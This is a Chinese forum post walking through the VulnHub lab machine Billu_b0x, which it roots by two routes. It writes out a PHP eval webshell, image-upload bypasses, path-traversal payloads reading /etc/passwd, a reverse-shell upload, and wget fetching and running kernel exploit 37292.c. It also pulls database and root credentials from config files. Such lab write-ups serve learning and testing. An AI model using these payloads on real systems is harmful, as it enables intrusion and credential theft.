宁睿 发表于 2023-2-15 23:58:32

第十三次打靶

靶机介绍

1)靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip
2)靶机难度:中(两种攻击路线)
3)打靶目标:取得 root 权限
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、SQL注入(SQLMAP跑出来)、文件包含漏洞、文件上传漏洞、任意文件下载、源码审计、内核漏洞提权
5)靶机简介:一台靶机两种打法,学习两种攻破靶机的方法,,本次靶机所包含的漏洞类型都很常见,但却没一个好打的。其中包括SQLMAP跑不出来的SQL注入漏洞、只能上传图片的文件上传漏洞、看起来并不像是文件包含的文件包含漏洞。说的好像绕口令一样!重点学习多种常规漏洞的综合利能力。
6)注意事项:靶机导入时,选择包含所有网卡的MAC地址
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125817372-1658295055.png
打靶过程

1)主机发现
# arp-scan -lhttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125825353-1250439300.png
2)全端口扫描
# nmap -p- 192.168.56.107https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125836400-1610899410.png
3)服务版本扫描
# nmap -p22,80 -sC -sV192.168.56.107https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125847591-1036270227.png
4)浏览器访问80端口
http://192.168.56.107/https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125905526-1502683029.png
5)通过页面信息提示,说明该位置存在一个sql注入,通过万能密码做一件简单的sql注入
①注入' 字符无任何效果
②注入' or 1=1 --   无任何效果
注:对于其他的web系统,当sql注入无法成功注入时,可以尝试进行其他的攻击方式,但是此处的web系统因为提示为“Show me your SQLI skills”,说明此处一定存在SQL注入
6)通过burp工具的intruder模块,选择来进行SQL注入攻击的载荷字典,对其进行SQL注入
①输入用户名和密码提交时,先抓取数据包
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125914994-39322020.png
②只选择变量为用户名和密码,且攻击方式为cluster bomb
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125922246-2023401271.png
③选择用户名字典为自带的fuzzing-SQL injection,选择密码字典为kali中的/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txtBurp
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125942730-1474980889.png
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125948200-316261259.png
④当用户名和密码为如下内容时,返回的内容不一致,当使用如下用户名和密码,登入时,可成功登入系统
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215125955715-1883244022.png
⑤登入系统后,页面如下
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130002379-467238356.png
7)在页面中,存在一个添加用户的选项,该选项处可以上传一个图片,尝试使用文件上传的方式,验证此处是否存在文件上传漏洞
①先编辑一句话木马
#vim shell.php
<?php @eval($_POST['cmd']);?>②选择文件上传,提示只能上传图片文件
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130011939-2062379962.png
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130017683-1351950743.png
③上传图片时,抓取数据包。修改文件扩展名,仍然无法上传
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130026800-39905677.png
④修改文件MIME类型后,仍然无法上传
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130032533-581408441.png
⑤在文件头部添加GIF89a后,仍然无法上传
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130039829-283001495.png
⑥将文件名修改为shell.phg,且修改MIME类型,文件头内容后,成功的上传了文件
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130048136-1156707860.png
⑦在浏览器通过cmd变量无法直接执行命令,说明上传的木马无法正常解析
http://192.168.56.107/panel.php?cmd=id
192.168.56.107/uploaded_images/shell.png?cmd=idhttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130055514-511786468.png
如果此处存在文件包含漏洞,那么可以包含上传的文件,使其被解析,但是该页面不存在文件包含漏洞
8)对web服务器进行路径爬取
# dirsearch -u http://192.168.56.107https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130103894-1836880234.png
9)对add.php页面进行访问时,返回于添加用户页面一致的表单信息,此时有理由怀疑是访问panel.php时,有引用了add.php。
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130117399-1403619463.png
10)在访问panel.php页面打开用户添加页面时,通过burp进行数据包抓取,查看其请求信息,发现加载了add
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130125707-1328891533.png
在请求中带了load=add参数,此时可参数是否是通过load参数加载了add.php页面,如果证明该结论正确,说明在此处存在一个本地的文件包含(不一定存在漏洞)
11)将数据包发送至repeater模式下后,修改add为/etc/passwd,发现读取出来了用户文件内容,说明此处存在本地文件包含漏洞
load=../../../../../../../etc/passwd&continue=continuehttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130133812-2095099397.png
12)复制上传的图片马的url地址至load参数处,使其包含.
load=192.168.56.107/uploaded_images/shell.png?cmd=id&continue=continuehttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130143754-561613358.png
无法执行出id命令,说明此处没有远程文件包含漏洞
13)修改上述包含方式为本地文件包含
load=uploaded_images/shell.png?cmd=id&continue=continuehttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130152799-1395882692.png
仍然无法正常执行参数的命令,但是本地文件包含又是存在的,说明:
此处是通过png图片中的一句话木马的参数执行操作系统的命令,有可能这种方式在服务器端是不支持的。
14)向服务器传输一个反弹shell的php的代码文件(扩展名仍然为png)
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130201108-1116051863.png
15)通过burp抓取到数据包后,进行本地文件包含
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130218319-1093177142.png
同时在kali主机监听端口,发现成功反弹回了webshell
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130229853-434484564.png
16)将突破边界的shell进行升级
$ python -c "import pty;pty.spawn('/bin/bash')"17)信息搜集,查看当前靶机内核版本为3.13
$ uname -ahttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130237431-2125895863.png
18)在kali主机搜索内核为3.13.0的漏洞利用代码
# searchsploit 3.13.0
#cp /usr/share/exploitdb/exploits/linux/local/37292.c .
# mv 37292.c exp.c
# python3 -m http.server 80https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130244382-1300431339.png
19)目标靶机下载利用脚本,编译,执行,获取到root权限
$ cd /tmp
$ wget http://192.168.56.103/exp.c
$ gcc exp.c -o exp
$ chmod +x exp
$ ./exp
# idhttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130253231-14412778.png
第二种打靶过程:
20)根据第八步对网站路径的爬取,发现在根目录下存在一个test的路径
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130302254-507797225.png
21)通过对test进行访问,返回如下提示
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130308359-495331300.png
该提示说明:此处存在一个file参数,且file参数的值应该是一个文件(即文件包含)
22)根据上述提示,使用如下方式,查看/etc/passwd文件内容
http://192.168.56.107/test?file=../../../../etc/passwdhttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130336261-755273238.png
但是仍然返回了,上述的提示,说明数据提交的方式不正确,
23)通过burp进行数据包截取,并且修改数据提交方式为post
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130342317-1451160586.png
24)转发数据包后,直接获取到了/etc/passwd的文件内容
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130347350-1937035674.png
24)此处修改file的值为add.php,返回了add.php文件的源码,说明此处不是一个文件包含漏洞,是一个任意文件读取漏洞
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130353188-1499772899.png
25)此时通过上述方式查看首页面index.php的源码,该表单是一个输入用户名和密码的表单,通过源码,可以分析服务端是如何处理客户端提交到服务器端的数据的,是否会查询后端数据库进行比对,整个过程是否存在漏洞,进行源码的代码审计。
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130401709-1928168095.png
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth wherepass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);26)之前的路径爬取发现了c.php文件,通过查看c.php的源码,发现了web程序连接后端数据库的用户名和密码
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130409685-1659758190.png
27)路径爬取中还发现了phpmy路径,通过访问,发现给路径是phpmyadmin的后台管理界面,通过上述发现的用户名和密码可直接登录至phpmyadmin中
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130415096-1127324349.png
28)登录成功后,在auth表中,发现了另外的一个用户名和密码,通过该用户名和密码,可直接在首页中登入系统
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130428337-1210321364.png
29)对phpmy目录进行目录爬取:
# dirsearch -u http://192.168.56.107/phpmyhttps://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130434420-2098649030.png
web目录爬取,怕渠道了config.inc.php文件
30)通过上述文件下载漏洞,获取该文件的内容
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130440315-472376394.png
在config.inc.php文件中获取到了另外一个账号root和密码roottoor
31)尝试通过该用户名和密码直接ssh登录目标靶机
# ssh root@192.168.56.107直接登录成功,且权限为root权限
https://img2023.cnblogs.com/blog/2180585/202302/2180585-20230215130446991-1676838580.png

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: 第十三次打靶